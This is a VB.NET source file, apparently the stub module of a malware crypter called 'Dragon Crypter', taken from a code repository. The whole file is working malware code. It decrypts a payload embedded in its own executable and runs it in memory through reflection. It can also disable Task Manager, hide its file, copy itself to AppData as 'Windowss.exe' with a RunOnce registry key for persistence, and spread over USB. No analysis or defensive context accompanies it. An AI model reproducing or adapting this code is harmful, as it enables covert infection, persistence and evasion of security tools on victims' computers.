Files
crypters-scode/scode (Dragon Crypter/Stub/Module4.vb
T
2026-08-27 11:04:21 -06:00

106 lines
2.8 KiB
VB.net

Imports System.IO
Imports System.Text
Imports System.Threading
Imports System.Reflection
Module Module4
Const Hamzaa = "%%HACKERSDZ%%Devpoint&&$$$Hamza££££"
Dim AntiTas, Sleepp, Hid, RunOnce, spread As String
Dim KGB As String
Dim Bytes() As Byte
Sub Main()
Dim Hamzao() As String
Dim file1 As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
Hamzao = Split(file1, Hamzaa)
Dim xduh As New XORR(Hamzao(2))
KGB = xduh.PolyDeCrypt(Hamzao(1)) : AntiTas = Hamzao(3) : Sleepp = Hamzao(4) : Hid = Hamzao(5) : RunOnce = Hamzao(6) : spread = Hamzao(7)
If AntiTas = True Then : AntiTaskManager() : Else : End If
If Sleepp = True Then : Sleep() : Else : End If
If Hid = True Then : HideFile() : Else : End If
If RunOnce = True Then : RunOnceStartup() : Else : End If
If spread = True Then : Spreadusb() : Else : End If
Bytes = Encoding.Default.GetBytes(KGB)
RunM(Bytes)
End Sub
Public Sub RunM(ByVal assembly() As Byte)
Dim Hamza As Assembly = AppDomain.CurrentDomain.Load(assembly)
Dim DEVPOINT As MethodInfo = Hamza.EntryPoint
Dim Cracked As Object = Hamza.CreateInstance(DEVPOINT.Name)
Dim Programe As Object() = Nothing
If (DEVPOINT.GetParameters.Length > 0) Then
Programe = New Object() {New String() {Nothing}}
End If
DEVPOINT.Invoke(Cracked, Programe)
End Sub
Dim run As String = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
Public Sub RunStartup(h As [Boolean], p As String, a As String)
Dim key As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(run, True)
If h = True Then
key.SetValue(p, a)
Else
key.DeleteValue(p, False)
End If
End Sub
Sub Spreadusb()
USB.Enable()
End Sub
Sub HideFile()
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden)
End Sub
Sub Sleep()
System.Threading.Thread.Sleep(20000)
End Sub
Public hamza As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Sub RunOnceStartup()
IO.File.Copy(Application.ExecutablePath, hamza & " \Windowss.exe")
RunStartup(True, "Windowss", hamza & "\Windowss.exe")
End Sub
Private Function AntiTaskManager() As Boolean
Dim H As New AntiTaskManager
Control.CheckForIllegalCrossThreadCalls = False
Dim F As New Threading.Thread(AddressOf H.protect)
F.Start()
End Function
End Module